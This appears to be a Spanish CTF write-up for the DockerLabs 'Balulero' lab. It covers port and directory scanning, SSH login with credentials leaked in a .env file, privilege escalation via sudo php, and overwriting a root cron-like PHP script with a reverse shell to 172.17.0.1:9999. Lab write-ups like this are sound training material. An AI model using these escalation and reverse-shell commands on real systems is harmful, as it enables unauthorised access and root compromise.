> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/balulero.md).

# 🟩 Balulero

🧠Dificultad: Fácil | 🔓18/03/2026

## 🕵️ Reconocimiento

Comenzamos con un escaneo de puertos con `nmap`:

{% code overflow="wrap" %}

```bash
nmap -sC -sV -Pn $IPTARGET | tee nmap
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FpZLcr5EJlJLmg6QM4zRk%2Fimage.png?alt=media&amp;token=d194f150-3e50-4b26-81de-b8001fa57b55" alt=""><figcaption></figcaption></figure>

Vemos que se encuentran abiertos los puertos de SSH (22) y HTTP (80). Vamos a realizar un escaneo de directorios con `ffuf` sobre el servicio web:

{% code overflow="wrap" %}

```bash
ffuf -w /usr/share/wordlists/SecLists-2025.2/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://$IPTARGET/FUZZ" -e .html,.php,.txt,.xml,.js
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Ft0zykgrG9wQ9gxeSRaG2%2Fimage.png?alt=media&amp;token=68cbbbdc-c04d-4f83-8b7e-bcebf9f445e4" alt=""><figcaption></figcaption></figure>

Si visualizamos el código javascript de `script.js` en el navegador, encontramos una línea llamativa donde menciona un fichero llamado `.env_de_baluchingon`:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FAjFrHKFvNsMvb7YeWQAP%2Fimage.png?alt=media&amp;token=0b4583ae-160c-4b1d-850d-12c5cb40fb67" alt=""><figcaption></figcaption></figure>

Si vemos el contenido de este fichero en la web, podemos observar unas credenciales.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FeVzu5Fh2v1DCIlCVbnLY%2Fimage.png?alt=media&amp;token=98fd8317-5702-415e-9e43-7e4f6cebb303" alt=""><figcaption></figcaption></figure>

## 🚪 Ganando acceso

Nos conectamos con estas credenciales al servicio SSH.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FXCxoECzdhFPU2b1JH8We%2Fimage.png?alt=media&amp;token=82885268-9949-40a7-ab59-9c754e885c70" alt=""><figcaption></figcaption></figure>

## 💥 Escalada de privilegios

Vemos los permisos que tenemos con `sudo` en este usuario:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FGWzfyc9brMCzgEnUEEfc%2Fimage.png?alt=media&amp;token=ee9904d2-c3f1-488f-85d9-64d29d02f89a" alt=""><figcaption></figcaption></figure>

Vemos que tenemos permisos para usar el binario `/usr/bin/php` como el usuario `chocolate` sin necesidad de contraseña. Podemos usar `php` para llamar al binario `/bin/sh` y obtener una shell como `chocolate`.

{% code overflow="wrap" %}

```bash
sudo -u chocolate php -r 'system("/bin/sh -i");'
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FoUFH5YhSEafqAWVfkASM%2Fimage.png?alt=media&amp;token=d55765f1-45a7-42e8-9ded-f4cd9106ef4c" alt=""><figcaption></figcaption></figure>

Si vemos los procesos que se están ejecutando como `root` en el sistema, vemos un proceso interesante:

{% code overflow="wrap" %}

```bash
ps aux | grep root
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fg5vNX8CFAaOY2DG5DKO9%2Fimage.png?alt=media&amp;token=e9a68866-00ad-432f-adf6-bc84632a775f" alt=""><figcaption></figcaption></figure>

En concreto, el proceso que ejecuta `while true; do php /opt/script.php; sleep 5; done`. Si vemos el fichero `/opt/script.php`, tenemos permisos de escritura, por lo que podemos modificarlo para que ejecute una reverse shell hacia nuestra máquina atacante.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FAyw2l7s58sPiju3k8vx8%2Fimage.png?alt=media&amp;token=f066b25a-ab33-4aab-9506-23aa096bdb00" alt=""><figcaption></figcaption></figure>

Modificamos el fichero y nos ponemos a la escucha en nuestra máquina kali:

{% code overflow="wrap" %}

```bash
echo '<?php $sock=fsockopen("172.17.0.1",9999);exec("sh <&3 >&3 2>&3"); ?>' > script.php
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FO5YCpWXOhxzJoeHoflkV%2Fimage.png?alt=media&amp;token=faf0bb07-f2f4-4178-9541-e6d2a258b248" alt=""><figcaption></figcaption></figure>
